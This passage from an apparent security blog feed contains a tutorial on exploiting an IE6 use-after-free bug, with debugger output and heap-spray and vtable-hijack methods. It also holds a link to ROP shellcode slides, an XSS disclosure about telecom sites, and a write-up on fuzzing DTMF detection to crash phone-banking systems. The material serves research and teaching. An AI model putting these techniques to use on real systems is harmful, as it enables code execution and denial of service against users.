#0000BB">7D51F437</span><span style="color: #007700">)<br /></span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">__thiscall&nbsp;CDispNode__GetDispRoot</span><span style="color: #007700">(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">this</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">v1</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;eax@1<br />&nbsp;&nbsp;</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">v2</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;esi@1<br />&nbsp;&nbsp;</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">result</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;eax@3<br /><br />&nbsp;&nbsp;</span><span style="color: #0000BB">v1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">CDispNode__GetRootNode</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">);<br />&nbsp;&nbsp;</span><span style="color: #0000BB">v2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">v1</span><span style="color: #007700">;<br />&nbsp;&nbsp;if&nbsp;(&nbsp;</span><span style="color: #0000BB">v1&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(*(</span><span style="color: #0000BB">int&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">__thiscall&nbsp;</span><span style="color: #007700">**)(</span><span style="color: #0000BB">_DWORD</span><span style="color: #007700">))(*(</span><span style="color: #0000BB">_DWORD&nbsp;</span><span style="color: #007700">*)</span><span style="color: #0000BB">v1&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">52</span><span style="color: #007700">))(</span><span style="color: #0000BB">v1</span><span style="color: #007700">)&nbsp;)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">v2</span><span style="color: #007700">;<br />&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div><br />
The program crashes due to a use after free issue.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:48px;">&gt;u 7d51f463 
7d51f463 8b4808          mov     ecx,dword ptr [eax+8]</pre>
</div>Here EAX is pointer to an Object element and ECX to the vftable. Here the object pointed to by the Vftable is freed, and there by the memory location pointed by EAX.<br />
<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:84px;">0:000&gt; d 04cb4748
04cb4748  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
04cb4758  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
04cb4768  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
04cb4778  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??    ????????????????</pre>
</div><br />
If you look at the next instructions , we notice the following .<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:84px;">7d51f466 85c9            test    ecx,ecx 
7d51f468 7404            je      mshtml!CDispNode::GetRootNode+0xd (7d51f46e)
7d51f46a 8bc1            mov     eax,ecx
7d51f46c ebf5            jmp     mshtml!CDispNode::GetRootNode+0x6 (7d51f463)
7d51f46e c3              ret</pre>
</div>The Pesudo Code:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:348px;">ecx = dword ptr[ eax+8 ] 
 
if (ecx ==0):
          
 -7d51f46e: return(eax)  to 7d51f43f [calling module]
|
|  else:
|      loop()
|
|-&gt;  and at:7d51f43f  

{


 mov     esi,eax <font color="#800000"> &lt;-- value of eax returned form the above function</font>
  test    esi,esi    <font color="#800000">&lt;-- if (esi) ==0  take jmp</font>
 je      mshtml!CDispNode::GetDispRoot+0x1d (7d51f70a)


 mov     eax,dword ptr [esi]  ds:0023:04ca1d40=
               <font color="#800000">&lt;-- move to eax data pointed by esi</font>


 mov     ecx,esi  <font color="#800000">&lt;-- not usefull </font>
 call    dword ptr [eax+34h] <font color="#800000">&lt;-- call adress pointed by eax+34h</font>

}</pre>
</div>So if we can make  { mov     ecx,dword ptr [eax+8]  }point to the heap such a way that EAX+8 contains [00000000] and EAX contains a adress we control , we would have code execution. We can initialize this area using heap spray. <br />
<br />
What I did was arranged my HTML tags such a way that it would leave a lot of garbage values mainly null in the EAX pointed memory, and then the program would crash at the call instruction. This is never the right way of doing nor reliable, but it was working fine for me. <br />
<br />
Now we could take control of the program here.           <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:36px;">7d51f44d ff5034          call    dword ptr [eax+34h]</pre>
</div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:144px;">(36c.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=01c53380 ecx=01c3e6e0 edx=000000a4 esi=01c3e6e0 edi=01c071f4
eip=7d51f44d esp=0013b478 ebp=0013b4bc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CDispNode::GetDispRoot+0x12:
7d51f44d ff5034          call    dword ptr [eax+34h]  ds:0023:00000034=????????
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.</pre>
</div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:168px;">mshtml!CDispNode::GetDispRoot:
7d51f437 8bff            mov     edi,edi
7d51f439 56              push    esi
7d51f43a e822000000      call    mshtml!CDispNode::GetRootNode (7d51f461)
7d51f43f 8bf0            mov     esi,eax
7d51f441 85f6            test    esi,esi
7d51f443 0f84c1020000    je      mshtml!CDispNode::GetDispRoot+0x1d (7d51f70a)
7d51f449 8b06            mov     eax,dword ptr [esi]
7d51f44b 8bce            mov     ecx,esi
7d51f44d ff5034          call    dword ptr [eax+34h]  ds:0023:00000034=????????
7d51f450 85c0            test    eax,eax
7d51f452 0f84b2020000    je      mshtml!CDispNode::GetDispRoot+0x1d (7d51f70a)</pre>
</div><font color="#800000">7d51f449 8b06            mov     eax,dword ptr [esi]<br />
</font><br />
Move DWORD (a 32-bit/4-byte value) in memory location specified by ESI[01c3e6e0]--&gt;&quot;00000000&quot; into register EAX, so EAX becomes [00000000]<br />
<br />
<font color="#800000">7d51f44d ff5034          call    dword ptr [eax+34h]  <br />
<br />
</font>The crash is at a virtual Call with [Register + offset ] . The Vftable is in eax + offset[34h] the adress of function to be executed . In this case it would be 13th entry in the table. Now that it's pointing to [00000000] the program crashes. <br />
<br />
We can take control of the program  here and have code execution, for that we need to find the type of object that was freed and the no of bytes that was allocated . Knowing these details we would be able to build fake objects of that size using JS . So that a the call at 7d51f463 [eax+8]  would land on our crafted Vftable object and return [00000000] and <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:36px;"><font color="#800000">7d51f463 8b4808          mov     ecx,dword ptr [eax+8]</font></pre>
</div> a call to <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:36px;"><font color="#800000">7d51f44d ff5034 call dword ptr [eax+34h]</font></pre>
</div>Vftable+34h would make the program land on our shellcode.  <br />
<br />
There are <a href="http://projects.wox-xion.ch/epfl/cmu2011/19-601/paper1.pdf" target="_blank">couple</a> of ways to exploit this a good reference would be <a href="http://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf" target="_blank">this</a>.<br />
<br />
<u><b>1) The double reference exploit</b></u><br />
<br />
<br />
<u>Requirements:</u> <br />
<br />
A controllable VFTable pointer.<br />
<br />
<u>Method:</u><br />
<br />
Our own code is placed in the deallocated object or some where in the memory where we could point to via Vftable.<br />
<br />
Then we replace the VFTable pointer by one which points to some memory<br />
later we will use this as VFTable pointing back to where we put our code.<br />
<br />
<a href="http://projects.wox-xion.ch/epfl/cmu2011/19-601/paper1.pdf" target="_blank">source</a>:<br />
<br />
<u><b>2) The VFTable exploit</b></u><br />
<br />
<u>Requirements:<br />
<br />
</u><br />
A controllable VFTable .<br />
<u>Method:</u><br />
Our code is injected in the VFTable which is made to point to itself.<br />
<br />
<u>Depends:<br />
</u><br />
This this achieved by the system allocation process.<br />
<br />
<u><b>The Lookaside exploit<br />
<br />
</b>Requirements: </u><br />
<br />
A controllable heap allocation / heap deallocation cycle. <br />
<br />
<u>Method:<br />
</u><br />
<br />
Since the system reallocates a freed memory , we craft the code in such a way that when reallocation takes place our injected code is used in the reallocation cycle. <br />
<br />
Read More: <a href="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf" target="_blank">http://www.blackhat.com/presentation...irov-apr19.pdf</a><br />
Read in detail here a similar approach <a href="http://securityevaluators.com/files/papers/isewoot08.pdf" target="_blank">http://securityevaluators.com/files/.../isewoot08.pdf</a><br />
<br />
<br />
For choosing an appropriate method for exploitation we need determine what all we control in the current scenario and understand more about the crash. We can either use the debugger for this purpose or reverse engineer the current code to figure out those details.<br />
<br />
*Thanks to w3devil and Zarul for proof reading the doc<br />
<br />
<br />
Cheers. <br />
<br />
<br />
<b>References on Heap : <br />
</b><br />
 <a href="http://www.tenouk.com/ModuleZ.html" target="_blank">A practical C storage class scope and memory allocation programming online training - C language references, working program examples, source code and memory related function library</a><br />
<a href="http://en.wikipedia.org/wiki/Data_segment" target="_blank">Data segment - Wikipedia, the free encyclopedia</a><br />
<a href="http://en.wikipedia.org/wiki/Code_segment" target="_blank">Memory segmentation - Wikipedia, the free encyclopedia</a><br />
<a href="http://en.wikipedia.org/wiki/.bss" target="_blank">.bss - Wikipedia, the free encyclopedia</a><br />
<a href="http://www.geeksforgeeks.org/archives/14268" target="_blank">Memory Layout of C Programs - GeeksforGeeks | GeeksforGeeks</a><br />
<a href="http://code.google.com/p/gperftools/?redir=1" target="_blank">gperftools - Fast, multi-threaded malloc() and nifty performance analysis tools - Google Project Hosting</a><br />
<a href="http://www.h-online.com/security/features/A-Heap-of-Risk-747220.html" target="_blank">A Heap of Risk - The H Security: News and Features</a><br />
<a href="http://x9090.blogspot.in/2010/03/tutorial-exploit-writting-tutorial-from.html" target="_blank">http://x9090.blogspot.in/2010/03/tut...rial-from.html</a><br />
<a href="http://en.wikibooks.org/wiki/C_Programming/C_Reference/stdlib.h/malloc#Use_after_free" target="_blank">http://en.wikibooks.org/wiki/C_Progr...Use_after_free</a><br />
<a href="http://www.quora.com/Why-is-dynamic-memory-allocation-called-heap-memory-allocation" target="_blank">http://www.quora.com/Why-is-dynamic-...ory-allocation</a><br />
<a href="http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/" target="_blank">http://eli.thegreenplace.net/2011/09...out-on-x86-64/</a><br />
<br />
Exploitation References :<br />
<a href="http://d0cs4vage.blogspot.in/2011/06/insecticides-dont-kill-bugs-patch.html" target="_blank">http://d0cs4vage.blogspot.in/2011/06...ugs-patch.html</a><br />
<a href="http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html" target="_blank">http://www.phreedom.org/research/hea...feng-shui.html</a><br />
<a href="http://securityevaluators.com/files/papers/isewoot08.pdf" target="_blank">http://securityevaluators.com/files/.../isewoot08.pdf</a><br />
<a href="http://www.exploit-monday.com/2011_11_13_archive.html" target="_blank">http://www.exploit-monday.com/2011_11_13_archive.html</a><br />
<a href="http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf" target="_blank">www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf</a><br />
<a href="http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html" target="_blank">http://www.phreedom.org/research/hea...feng-shui.html</a><br />
<a href="http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html" target="_blank">http://www.thegreycorner.com/2010/01...-internet.html</a><br />
<a href="https://www.owasp.org/images/0/01/OWASL_IL_2010_Jan_-_Moshe_Ben_Abu_-_Advanced_Heapspray.pdf" target="_blank">https://www.owasp.org/images/0/01/OW..._Heapspray.pdf</a><br />
<a href="https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/#Visualizing_the_heap_spray_8211_IE6" target="_blank">https://www.corelan.be/index.php/201...spray_8211_IE6</a><br />
<a href="http://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf" target="_blank">http://www.blackhat.com/presentation...07-afek-WP.pdf</a><br />
<a href="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf" target="_blank">http://www.blackhat.com/presentation...irov-apr19.pdf</a><br />
<a href="http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html" target="_blank">http://www.exploit-monday.com/2011/0...r-free_07.html</a><br />
<a href="http://www.vupen.com/blog/20120116.Advanced_Exploitation_of_ProFTPD_Remote_Use_after_free_CVE-2011-4130_Part_II.php" target="_blank">http://www.vupen.com/blog/20120116.A...30_Part_II.php</a><br />
<br />
<br />
Protection Mechanisms:<br />
<a href="http://robert.ocallahan.org/2010/10/mitigating-dangling-pointer-bugs-using_15.html" target="_blank">http://robert.ocallahan.org/2010/10/...-using_15.html</a></blockquote>

]]></content:encoded>
			<dc:creator>fb1h2s</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/8/beginners-guide-use-after-free-exploits-ie-6-0-day-exploit-development-517/</guid>
		</item>
		<item>
			<title>Max OSX 64 bit ROP Payloads.</title>
			<link>http://www.garage4hackers.com/blogs/8/max-osx-64-bit-rop-payloads-520/</link>
			<pubDate>Sat, 27 Oct 2012 18:08:20 GMT</pubDate>
			<description>6 Months back I did a presentation on *Mac OSX 64 bit ROP shellcodes* at Null Monthly...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">6 Months back I did a presentation on <b>Mac OSX 64 bit ROP shellcodes</b> at <a href="https://groups.google.com/forum/?fromgroups=#!searchin/null-co-in/&#91;null]&#91;Meet]&#91;Pune]$2019th$20May$202012$20@SICSR" target="_blank">Null Monthly</a> meet,  where I took two different session explaining 64 bit architecture in detail and Mac OSX 64 Rop Shellcode. Today I was browsing through some old stuffs and came across the PPT I used back then. The slides only contains the first day's presentation and I can't find the second days PPT :rolleyes: . <br />
<br />
Am sharing it over here. <b>There is nothing new</b>.<br />
<br />
<a href="http://www.slideshare.net/RahulSasi2/mac-osx-64ropchains" target="_blank">http://www.slideshare.net/RahulSasi2...sx-64ropchains</a><br />
<br />
Cheers.</blockquote>

]]></content:encoded>
			<dc:creator>fb1h2s</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/8/max-osx-64-bit-rop-payloads-520/</guid>
		</item>
		<item>
			<title>XSS threats on leading Indian mobile operators websites</title>
			<link>http://www.garage4hackers.com/blogs/18/xss-threats-leading-indian-mobile-operators-websites-516/</link>
			<pubDate>Mon, 22 Oct 2012 15:08:28 GMT</pubDate>
			<description>While passing by common websites, we had came across various security issues in them in the past. Be it a bug on Facebook, Flipkart or Indian...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">While passing by common websites, we had came across various security issues in them in the past. Be it a bug on Facebook, Flipkart or Indian Shopping sites, we have brought up many issues in the past and have responsibly disclosed them. This time while passing by few mobile operators website, we noticed Cross-site scripting a.k.a XSS, 2nd top on the OWASP top 10 list. These vulnerabilities can be noticed very easily and can be used by cyber crooks to execute malicious scripts on the website, and carry out stealth operations like phishing, scams etc.<br />
<br />
The leading mobile operators whose websites we had uncovered are : Idea Cellular, Tata Communications and BSNL, India’s government backed telecom company. The two websites had persistent XSS and the third one a non-persistent. The following are some screen-shot of the websites where you can see scripts injected and iframe:<br />
<br />
<img src="http://blog.secfence.com/wp-content/uploads/2012/10/idea1.png" border="0" alt="" /><br />
<br />
<img src="http://blog.secfence.com/wp-content/uploads/2012/10/bsnl.png" border="0" alt="" /><br />
<br />
<img src="http://blog.secfence.com/wp-content/uploads/2012/10/tata.png" border="0" alt="" /><br />
<br />
Well the response, as usual from the concerned authorities was dull or you can say nil! Still we waited for a long time frame and today are disclosing these threats. We hope these get patched as soon as possible. Users are advised to be aware while using such websites and should check for the legitimate emails from these websites, should check links closely before responding. One of the protection method is using Firefox with No-script add-on.</blockquote>

]]></content:encoded>
			<dc:creator>prashant_uniyal</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/18/xss-threats-leading-indian-mobile-operators-websites-516/</guid>
		</item>
		<item>
			<title>Fuzzing DTMF Detection Algorithms .</title>
			<link>http://www.garage4hackers.com/blogs/8/fuzzing-dtmf-detection-algorithms-514/</link>
			<pubDate>Sat, 20 Oct 2012 20:25:26 GMT</pubDate>
			<description><![CDATA[My ekoparty.org [Argentina] and NU[Delhi] talk and also Ruxcon [Australia] and BlackHat [Abhudabi] which I could't make it . ...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">My ekoparty.org [Argentina] and NU[Delhi] talk and also Ruxcon [Australia] and BlackHat [Abhudabi] which I could't make it . <br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=580&amp;d=1359669941" border="0" alt="Name:  mqdefault.jpg
Views: 1808
Size:  6.0 KB"  style="float: CONFIG" /> <br />
<br />
<br />
<b>What is this paper about<b></b>:<br />
</b><br />
Input validation attacks and memory corruption attacks are common, and the <br />
criticality of finding a DOS attack on a service like HTTP is consider a lot critical <br />
considering the attack surface and easiness of attack. Even if we could trigger an <br />
exception in an Apache Web server and crash them, that would be a huge loss <br />
for corporates and individuals hosting critical applications on these systems. <br />
<br />
<br />
This paper is on DTMF input processing algorithms [DSP], that are often <br />
embed into PBX, IVR, Telephone routers and other devices that process DTMF <br />
input. PBX and IVR servers are often deployed for running Phone Banking App <br />
Servers, Call Center Application and other systems that uses phone to interact <br />
with them. If an attacker could trigger exception in DTMF processing algorithms, then they could crash the entire application server making a single phone call, causing the entire Phone banking in accessible, or no calls to the costumer service goes through. One such denial of Service could cause a lot of panic and the amount of damage would be pretty huge.<br />
<br />
<br />
<br />
<b><u>History of this research: <br />
</u></b><br />
I did two presentations last year, one explaining security vulnerabilities in IVR applications , mainly explaining logic flaws in CXML|VXML codes , and was not specific to any IVR's. These issues were related to coding flaws in CXML|VXML so any buggy IVR applications|IVR servers would be affected by those issues. <br />
<br />
You can view the research experiments here :<br />
<a href="http://www.garage4hackers.com/blogs/8/internal-attacks-vai-ivr-systems-%5B-security-vulnerabilities-ivr-applications%5D-310/" target="_blank">http://www.garage4hackers.com/blogs/...ations%5D-310/</a><br />
<br />
Well for the VXML attacks , finding bugs the best option is source code auditing, else you will have to do a lot of trail and error to exploit these systems .So with out source code the success rate is very poor. <br />
Most of the Test were done on Voxeo IVR , since it was easy to install and manage .<br />
<br />
The second paper which we recently demonstrated in Ekoparty was in the Core DTMF processing algorithms and it's implementations, any application that process DTMF and could be interacted directly could possibly be vulnerable to these attacks.<br />
<br />
So let me refer the first attack as VXML attacks and second one as DTMF attack. <br />
<br />
And for DTMF attack, If the system handles DTMF tones and you can interact with it directly , you would be able to perform the below mention attacks on it.<br />
<br />
<u><b>Fuzzing DTMF Detection Algorithms:<br />
</b></u><img src="http://www.garage4hackers.com/attachment.php?attachmentid=578&amp;d=1359669855" border="0" alt="Name:  dtmf1.jpg
Views: 322
Size:  22.5 KB"  style="float: CONFIG" /><br />
<br />
<br />
<u><b>Applications of DTMF: <br />
</b></u><br />
There are a lot of application that we use in our day to day life that usese DTMF tones as input. <br />
The following are few applications:<br />
<br />
<u>IVR :</u><br />
Costumer Care Applications<br />
Phone Banking Applications<br />
<br />
<u>PBX [Private Branch exchange]:<br />
</u>Telecom Systems<br />
Voice Mails<br />
VOIP<br />
<br />
<u>Conference Bridges:</u><br />
Telephone Routers<br />
<br />
<a href="http://www.garage4hackers.com/attachment.php?attachmentid=564&amp;d=1359669855"  title="Name:  dtmf1.jpg
Views: 322
Size:  22.5 KB">Attachment 564</a><br />
<br />
For example the following CXML code will enable support for DTMF inputs in an IVR application. <br />
Extreme Docs<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:48px;">&lt;!-- This grammar is specifically for recognizing DTMF. --&gt;
&lt;grammar xml:lang=&quot;en-US&quot; root = &quot;MYRULE&quot; mode=&quot;dtmf&quot;&gt;</pre>
</div><u><b>Input is Evil<br />
</b></u>The input to these application that we control is DTMF , and there got be a module that converts these tones back to it's numeric format. So if we could find bug in those modules then technically we would be remotely able to:<br />
<br />
[Crash] Shut down Costumer Service Apps<br />
Shut down a Phone Banking<br />
Shut down a telephone router handling millions of calls. <br />
<br />
And having this much power is priceless  .<br />
<br />
<b>DTFM: Dual Tone Multi Frequency <br />
</b><br />
<br />
<u><a href="http://www.genave.com/dtmf.htm" target="_blank">Original Source</a> : DTMF Explained<br />
</u><br />
DTMF stands for Dual Tone - Multi Frequency and it is the basis for your telephone system. DTMF is actually the generic term for Touch-Tone (touch-tone is a registered trademark of ATT). Your touch-tone phone is technically a DTMF generator that produces DTMF tones as you press the buttons.<br />
<br />
<br />
It's called [Dual Tone Multi] because it is a combination of multi frequency [2], a High and Low Frequency .<br />
<br />
<b>DTFM Generation and DTMF Detection<br />
</b><br />
<b><u>DTMF Generation:<br />
</u></b><br />
<br />
When you press the digit 1 on the keypad, you generate the tones 1209 Hz and 697 Hz. <br />
<br />
Pressing the digit 2 will generate the tones 1336 Hz and 697 Hz. <br />
<br />
It take two tones to make a digit and the decoding equipment knows the difference between the 1209 Hz that would complete the digit 1, and a 1336 Hz that completes a digit 2. <br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=582&amp;d=1359670879" border="0" alt="Name:  Slide08.jpg
Views: 360
Size:  62.1 KB"  style="float: CONFIG" /><br />
<b>Code</b>:<br />
So the following code would be how it's done, we will get back to this in the Fuzzing part later.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:156px;">key = {'1','2','3','4','5','6','7','8','9','*','0','#'};
low_frequency = [697 770 852 941]; % Low frequency group
high_frequency = [1209 1336 1477];  % High frequency group
frequency_pair  = [];
for column=1:4,
    for row=1:3,
        frequency_pair = [ frequency_pair[lfg(column);hfg(row)] ];
    end
end
frequency =8khz
play frequency_pair</pre>
</div>sampling frequency<br />
<br />
Here are couple of implementation of a DTMF generato in PHP and Java:<br />
<a href="http://www.binrev.com/forums/index.php/topic/41969-php-dtmf-generator/" target="_blank">PHP dtmf generator - Old Skool Phreaking - Binary Revolution Forums</a><br />
<a href="http://aggemam.dk/scripts/dtmf.phps" target="_blank">http://aggemam.dk/scripts/dtmf.phps</a><br />
<br />
So DTMF generation is fairly easy to understand and to code. Remember, all these tone genration were done using oscillators at hardware level, but these days u hardly see any hardware implementation and the bug we are referring to all are at software level.<br />
<br />
<br />
<b><u>DTMF Detection<br />
</u></b><br />
The input signals need to be processed for the production of DTMF codes, there are around 320 samples presented as the<br />
minimum duration of a DTMF signal defined by the ITU standard is 40 ms in frequency of 8ms [0.04 x 8000] = 320 samples.And from these the tones need to be detected. <br />
<br />
The solution for this would be to use a Discrete-Time Fourier Transform. Detection could be done by using a bank of filters or using a bank of filters using DFT. In this Goertzel algorithm is the mostly used DTMF detection algorithm .It computes a sequence using DFT , 16 samples of DFT are computed for 16 tones.For the implementation ogf goertzel the following equations are necessary.<br />
<br />
<br />
[Equation] <br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=583&amp;d=1359670959" border="0" alt="Name:  eq_.jpg
Views: 313
Size:  13.5 KB"  style="float: CONFIG" /><br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=573&amp;d=1359660708" border="0" alt="Name:  converted-151eddc8.jpg
Views: 343
Size:  21.0 KB"  style="float: CONFIG" /><br />
<br />
<br />
In the above equation we need to calculate the constant, k.<br />
The value &quot;k&quot; determines the tone we are trying to detect and is given by:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:36px;">K =N * fton/fs</pre>
</div>Where:    ftone    =    frequency of the tone.<br />
        fs    =    sampling frequency.<br />
        N is set to 205.<br />
Now we can calculate the value of the coefficient 2cos(2*&#61552;*k/N).<br />
<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=581&amp;d=1359669958" border="0" alt="Name:  Slide13.jpg
Views: 318
Size:  57.3 KB"  style="float: CONFIG" /><br />
[Content credits: Dr NaimDahnoum briston University ]<br />
<br />
<br />
<u>Pseudo Code:<br />
</u> <div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:108px;">standard_frequency =output_frequency/sample_rate;
 coeff = 2*cos(2pi*standard_frequency);
 for each sample, x[n],
 s= x[n] + coeff*s_prev -s_prev2;
 s_prev2 = s_prev;
 s_prev+ s;
 end power = S-prev2*s_prev2 + s_prev*s_prev - coeff*s_prev*s_prev2</pre>
</div>A better read on the algorithm could be found here:<br />
<a href="https://sites.google.com/site/hobbydebraj/home/goertzel-algorithm-dtmf-detection" target="_blank">https://sites.google.com/site/hobbyd...dtmf-detection</a><br />
<br />
DTMF Detection:<br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/hVEu6U9pccs" frameborder="0"></iframe>
<br />
<br />
<br />
As u must have noticed there need to be  a good amount of computation process that is undergone for detecting the tones. And aalmost all of the systems that detects DTMF have one or the other form of above algorithm embedded into it. Now that we know the algorithm and the input, it would be a just a matter of time to fuzz one such application.<br />
<br />
Input is Evil: <br />
<br />
 Fuzzing  What We Controll<br />
<br />
1) The Frequency[ftone] <br />
2) The Amplitude <br />
3) Sample Rate [fs] <br />
4) Sample Length <br />
5) Sample Duration<br />
6) Higher Frequency<br />
7) Lower Frequency<br />
<br />
The frequency is set to 8ms as per standards, but we can vary this +-1/2.<br />
And our fuzzer work by varying these controlled values. The orginal code was written by <font color="#FF8000"><span style="font-family: monospace">Christian Schmidt.</span></font> a DTMF generator , and we modified the code to build our fuzzer. <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:192px;">//samples per second
$sample_rate = isset($sample_rate) ? intval($sample_rate) : 8000; 

//signal length in milliseconds
$signal_length = isset($signal_length) ? intval($signal_length) : 100; 

//break between signals in milliseconds
$break_length = isset($break_length) ? intval($break_length) : 100;

//pause length in milliseconds - pause character is ','
$pause_length = isset($pause_length) ? intval($pause_length) : 500; 

//amplitude of wave file in the range 0-64
$amplitude = isset($amplitude) ? intval($amplitude) : 64;</pre>
</div>Test Case 1:<br />
<br />
The example video shows a huge amount of CPU usage by the detection program when attached to our Fuzzer . Note, the input is via the input audio source [mic].<br />
We tested the fuzzer on the following program and the below video is  of that one  . <a href="http://www.phrack.org/issues.html?issue=50&amp;id=13" target="_blank">http://www.phrack.org/issues.html?issue=50&amp;id=13</a><br />
<br />
And for some reason there was an issue with the audio :( <br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/mTFgQtARmvE" frameborder="0"></iframe>
<br />
<br />
No image the many applications that has got am implementation of this algorithm , since we have a user controlled input I believe it would be fairly easy to attack these devices . <br />
<br />
I have had a remote crash as well [not exploitable], the  mod-security of this server is not allowing me to add code here, I will later make a GIT repo and add the Fuzzer there. <br />
Cheers.<br />
<br />
<b>CXML/VXML Auditing for IVR Pentesters: <br />
</b><br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/-y7aIKLgMoM" frameborder="0"></iframe>
<br />
<br />
<b>Fuzzing DTMF Detection Algorithm Nullcon Delhi:References<br />
</b>Video from Nullcon Delhi:<br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/QXQnVXbat4A#t=12m34" frameborder="0"></iframe>
<br />
Dual-Tone Multi-Frequency (DTMF) Signal Detection - MATLAB &amp; Simulink Example - MathWorks India<br />
<a href="https://docs.google.com/viewer?a=v&amp;q=cache:KiZnKMfNlmgJ:www.ti.com/general/docs/lit/getliterature.tsp%3FliteratureNumber%3Dspra096a%26fileType%3Dpdf%26track%3Dno+&amp;hl=en&amp;gl=in&amp;pid=bl&amp;srcid=ADGEESj3NkvH1CLAK39-MPahOFgDB0x3DSIhG5AN6ltZLTgoew7USOiUy3HgysNLQV1tCQT_RhgcIBr3IVjDbCjSBQOhe7rAo9O3Nslgnj-n0UqLIAI02o6Cj75IPDZsgsaxxyubXAqJ&amp;sig=AHIEtbTSgfgV1qs9gCQiVttTswK3G0Y5-w" target="_blank">https://docs.google.com/viewer?a=v&amp;q...VttTswK3G0Y5-w</a><br />
